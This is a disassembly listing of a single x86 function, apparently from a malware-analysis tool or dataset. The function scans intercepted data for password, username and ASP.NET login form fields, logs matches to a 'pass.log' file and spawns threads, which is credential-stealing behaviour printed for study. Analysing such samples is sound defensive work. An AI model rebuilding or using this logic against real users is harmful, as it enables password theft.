Function at 0x10017180
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
mov ebx, dword [ebp + 0xc]
lea eax, [ebx + 1]
test eax, eax
je 0x10017496
push esi
lea esi, [eax + 0x13]
push edi
and esi, 0xfffffff0
push esi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x10017494
push esi
push 0
push edi
call sub.MSVCRT.dll_memset
mov esi, dword [ebp + 8]
add esp, 0xc
test esi, esi
je 0x10017472
test ebx, ebx
je 0x10017472
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x10017472
push ebx
push esi
push edi
call sub.MSVCRT.dll_memcpy
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
push 0x1004a1b8
push edi
call esi
add esp, 0x14
test eax, eax
je 0x100172b2
push str.password
push edi
call esi
add esp, 8
test eax, eax
je 0x100172b2
xor eax, eax
nop
mov cl, byte [eax + 0x1005ae00]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x10017220
mov esi, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0x1005db70
call esi
push 0x1005db70
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
push 0x1005db70
call esi
mov eax, 0x1005db70
call fcn.10003220
lea esi, [ebp - 0x104]
call fcn.10005b10
mov eax, esi
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10017270
mov ecx, dword [str.pass.log]
mov edx, dword [0x1004a0f8]
mov dword [eax], ecx
mov cl, byte [0x1004a0fc]
mov dword [eax + 4], edx
mov edx, dword [ebp + 8]
push ebx
mov byte [eax + 8], cl
push edx
lea eax, [ebp - 0x104]
call fcn.10005550
push 0
push 0
push 0
push 0x1001f760
jmp 0x1001743f
push str.name_
push edi
call esi
add esp, 8
test eax, eax
je 0x1001738a
push str.pass_
push edi
call esi
add esp, 8
test eax, eax
je 0x1001738a
xor eax, eax
lea ebx, [ebx]
mov cl, byte [eax + 0x1005ae00]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x100172e0
mov esi, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0x1005df80
call esi
push 0x1005df80
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
push 0x1005df80
call esi
mov eax, 0x1005df80
call fcn.10003220
lea esi, [ebp - 0x104]
call fcn.10005b10
mov eax, esi
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10017330
mov edx, dword [str.pass.log]
mov ecx, dword [0x1004a0f8]
mov dword [eax], edx
mov dl, byte [0x1004a0fc]
mov dword [eax + 4], ecx
mov byte [eax + 8], dl
mov eax, dword [ebp + 8]
push ebx
push eax
lea eax, [ebp - 0x104]
call fcn.10005550
push 0
push 0
push 0
push 0x10020ab0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x10017472
lea ecx, [ebp + 8]
push ecx
jmp 0x10017453
push str.ctl00_24MainMenu_24Login1_24UserName
push edi
call esi
add esp, 8
test eax, eax
je 0x10017472
push str.ctl00_24MainMenu_24Login1_24Password
push edi
call esi
add esp, 8
test eax, eax
je 0x10017472
xor eax, eax
mov cl, byte [eax + 0x1005ae00]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x100173b2
mov esi, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0x1005e188
call esi
push 0x1005e188
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
push 0x1005e188
call esi
mov eax, 0x1005e188
call fcn.10003220
lea esi, [ebp - 0x104]
call fcn.10005b10
mov eax, esi
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10017402
mov ecx, dword [str.pass.log]
mov edx, dword [0x1004a0f8]
mov dword [eax], ecx
mov cl, byte [0x1004a0fc]
mov dword [eax + 4], edx
mov edx, dword [ebp + 8]
push ebx
mov byte [eax + 8], cl
push edx
lea eax, [ebp - 0x104]
call fcn.10005550
push 0
push 0
push 0
push 0x10022210
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x10017472
lea eax, [ebp + 8]
push eax
push esi
mov dword [ebp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10017472
test byte [ebp + 8], 2
jne 0x10017472
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push edi
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10017494
push edi
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8